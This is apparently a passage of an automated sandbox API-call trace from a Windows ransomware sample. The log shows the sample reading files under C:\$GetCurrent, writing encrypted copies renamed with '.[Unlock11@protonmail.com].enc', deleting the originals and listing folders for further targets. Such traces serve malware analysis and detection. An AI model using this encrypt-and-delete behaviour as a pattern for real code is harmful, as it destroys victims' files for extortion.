dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0112.822] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628f4 | out: pbBuffer=0x36628f4) returned 1 [0112.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0112.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0112.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0112.822] GetCurrentThreadId () returned 0x9b0 [0112.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028238 [0112.822] GetLastError () returned 0x0 [0112.822] GetLastError () returned 0x0 [0112.823] GetLastError () returned 0x0 [0112.823] GetLastError () returned 0x0 [0112.823] GetCurrentThreadId () returned 0x9b0 [0112.823] GetLastError () returned 0x0 [0112.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0112.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028238 [0112.823] GetCurrentThreadId () returned 0x9b0 [0112.823] GetLastError () returned 0x0 [0112.823] GetLastError () returned 0x0 [0112.823] GetLastError () returned 0x0 [0112.823] GetLastError () returned 0x0 [0112.823] GetCurrentThreadId () returned 0x9b0 [0112.823] GetLastError () returned 0x0 [0112.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0112.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0112.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.824] GetLastError () returned 0x0 [0112.824] GetLastError () returned 0x0 [0112.824] GetLastError () returned 0x0 [0112.824] GetLastError () returned 0x0 [0112.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5e8 [0112.824] GetLastError () returned 0x0 [0112.824] CreateFileA (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.825] GetFileType (hFile=0x39c) returned 0x1 [0112.825] GetLastError () returned 0x0 [0112.825] GetCurrentThreadId () returned 0x9b0 [0112.825] GetLastError () returned 0x0 [0112.825] GetFileType (hFile=0x39c) returned 0x1 [0112.825] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.826] GetLastError () returned 0x0 [0112.826] GetCurrentThreadId () returned 0x9b0 [0112.826] GetLastError () returned 0x0 [0112.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0112.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0112.826] GetLastError () returned 0x0 [0112.826] GetLastError () returned 0x0 [0112.826] GetLastError () returned 0x0 [0112.826] GetLastError () returned 0x0 [0112.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5f8 [0112.826] GetLastError () returned 0x0 [0112.827] CreateFileA (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.827] GetFileType (hFile=0x3ac) returned 0x1 [0112.827] GetLastError () returned 0x0 [0112.827] GetCurrentThreadId () returned 0x9b0 [0112.827] GetLastError () returned 0x0 [0112.827] GetFileType (hFile=0x3ac) returned 0x1 [0112.827] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.827] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.827] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.828] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.828] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.828] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.828] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.828] GetLastError () returned 0x0 [0112.828] GetCurrentThreadId () returned 0x9b0 [0112.828] GetLastError () returned 0x0 [0112.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0112.828] GetLastError () returned 0x0 [0112.829] GetLastError () returned 0x0 [0112.829] GetCurrentThreadId () returned 0x9b0 [0112.829] GetLastError () returned 0x0 [0112.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.829] GetLastError () returned 0x0 [0112.829] GetLastError () returned 0x0 [0112.829] GetCurrentThreadId () returned 0x9b0 [0112.829] GetLastError () returned 0x0 [0112.829] GetLastError () returned 0x0 [0112.830] GetLastError () returned 0x0 [0112.830] GetCurrentThreadId () returned 0x9b0 [0112.830] GetLastError () returned 0x0 [0112.830] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3d) returned 0x35c5908 [0112.831] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x45) returned 0x35c5908 [0112.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0112.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.831] GetCurrentThreadId () returned 0x9b0 [0112.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x48) returned 0x33db5d0 [0112.831] GetLastError () returned 0x0 [0112.831] GetLastError () returned 0x0 [0112.831] GetLastError () returned 0x0 [0112.831] GetLastError () returned 0x0 [0112.831] GetCurrentThreadId () returned 0x9b0 [0112.831] GetLastError () returned 0x0 [0112.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0112.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0112.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0112.832] GetLastError () returned 0x0 [0112.832] GetLastError () returned 0x0 [0112.832] GetCurrentThreadId () returned 0x9b0 [0112.832] GetLastError () returned 0x0 [0112.832] GetLastError () returned 0x0 [0112.832] GetLastError () returned 0x0 [0112.832] GetCurrentThreadId () returned 0x9b0 [0112.832] GetLastError () returned 0x0 [0112.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5958 | out: hHeap=0x2ad0000) returned 1 [0112.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0112.832] GetLastError () returned 0x0 [0112.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.833] CloseHandle (hObject=0x3ac) returned 1 [0112.834] GetLastError () returned 0x0 [0112.834] GetCurrentThreadId () returned 0x9b0 [0112.834] GetLastError () returned 0x0 [0112.834] GetLastError () returned 0x0 [0112.834] CloseHandle (hObject=0x39c) returned 1 [0112.834] GetLastError () returned 0x0 [0112.834] GetCurrentThreadId () returned 0x9b0 [0112.834] GetLastError () returned 0x0 [0112.834] GetLastError () returned 0x0 [0112.834] GetLastError () returned 0x0 [0112.834] GetLastError () returned 0x0 [0112.835] GetLastError () returned 0x0 [0112.835] DeleteFileA (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0112.836] GetLastError () returned 0x0 [0112.836] GetCurrentThreadId () returned 0x9b0 [0112.836] GetLastError () returned 0x0 [0112.836] GetCurrentThreadId () returned 0x9b0 [0112.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0112.836] GetLastError () returned 0x0 [0112.836] GetLastError () returned 0x0 [0112.836] GetLastError () returned 0x0 [0112.836] GetLastError () returned 0x0 [0112.836] FindFirstFileA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0112.838] GetLastError () returned 0x0 [0112.838] GetCurrentThreadId () returned 0x9b0 [0112.838] GetLastError () returned 0x0 [0112.838] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.839] GetLastError () returned 0x0 [0112.839] GetCurrentThreadId () returned 0x9b0 [0112.839] GetLastError () returned 0x0 [0112.839] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0112.839] GetLastError () returned 0x0 [0112.839] GetCurrentThreadId () returned 0x9b0 [0112.839] GetLastError () returned 0x0 [0112.839] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0112.839] GetLastError () returned 0x0 [0112.839] GetCurrentThreadId () returned 0x9b0 [0112.839] GetLastError () returned 0x0 [0112.839] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0112.839] GetLastError () returned 0x0 [0112.840] GetCurrentThreadId () returned 0x9b0 [0112.840] GetLastError () returned 0x0 [0112.840] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0112.840] GetLastError () returned 0x0 [0112.840] GetCurrentThreadId () returned 0x9b0 [0112.840] GetLastError () returned 0x0 [0112.840] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0112.840] GetLastError () returned 0x0 [0112.840] GetCurrentThreadId () returned 0x9b0 [0112.840] GetLastError () returned 0x0 [0112.840] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811e0, Size=0x20) returned 0x3028238 [0112.840] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0112.840] GetLastError () returned 0x12 [0112.841] GetCurrentThreadId () returned 0x9b0 [0112.841] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0112.841] GetCurrentThreadId () returned 0x9b0 [0112.842] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0112.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0112.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0112.844] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0112.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0112.846] GetCurrentThreadId () returned 0x9b0 [0112.846] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0112.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0112.846] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0112.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0112.847] GetCurrentThreadId () returned 0x9b0 [0112.847] GetFileAttributesA (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0112.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0112.848] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x30282d8 [0112.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0112.848] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll", lpFilePart=0x9bada4*="GetCurrentOOBE.dll") returned 0x28 [0112.848] GetCurrentThreadId () returned 0x9b0 [0112.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0112.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0112.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0112.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0112.848] GetCurrentThreadId () returned 0x9b0 [0112.848] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", lpFilePart=0x9bada4*="GetCurrentRollback.ini") returned 0x2c [0112.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0112.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0112.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0112.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.849] GetCurrentThreadId () returned 0x9b0 [0112.850] GetCurrentThreadId () returned 0x9b0 [0112.850] GetCurrentThreadId () returned 0x9b0 [0112.850] GetFileAttributesExA (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c)) returned 1 [0112.850] GetCurrentThreadId () returned 0x9b0 [0112.850] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662714 | out: pbBuffer=0x3662714) returned 1 [0112.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0112.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0112.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0112.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0112.850] GetCurrentThreadId () returned 0x9b0 [0112.850] GetCurrentThreadId () returned 0x9b0 [0112.851] GetCurrentThreadId () returned 0x9b0 [0112.851] GetCurrentThreadId () returned 0x9b0 [0112.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0112.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0112.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0112.851] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.851] GetFileType (hFile=0x39c) returned 0x1 [0112.851] GetCurrentThreadId () returned 0x9b0 [0112.851] GetFileType (hFile=0x39c) returned 0x1 [0112.851] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.852] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.852] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.852] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.852] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.852] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.852] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.852] GetLastError () returned 0x0 [0112.852] GetCurrentThreadId () returned 0x9b0 [0112.852] GetLastError () returned 0x0 [0112.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0112.852] GetLastError () returned 0x0 [0112.852] GetLastError () returned 0x0 [0112.853] GetLastError () returned 0x0 [0112.853] GetLastError () returned 0x0 [0112.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de628 [0112.853] GetLastError () returned 0x0 [0112.853] CreateFileA (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0112.853] GetFileType (hFile=0x3ac) returned 0x1 [0112.853] GetLastError () returned 0x0 [0112.854] GetCurrentThreadId () returned 0x9b0 [0112.854] GetLastError () returned 0x0 [0112.854] GetFileType (hFile=0x3ac) returned 0x1 [0112.854] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0112.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0112.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0112.854] GetLastError () returned 0x0 [0112.854] GetCurrentThreadId () returned 0x9b0 [0112.854] GetLastError () returned 0x0 [0112.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0112.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0112.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0112.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0112.855] GetLastError () returned 0x0 [0112.855] GetLastError () returned 0x0 [0112.855] GetCurrentThreadId () returned 0x9b0 [0112.855] GetLastError () returned 0x0 [0112.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.855] GetLastError () returned 0x0 [0112.855] GetLastError () returned 0x0 [0112.855] GetCurrentThreadId () returned 0x9b0 [0112.855] GetLastError () returned 0x0 [0112.855] GetLastError () returned 0x0 [0112.857] GetLastError () returned 0x0 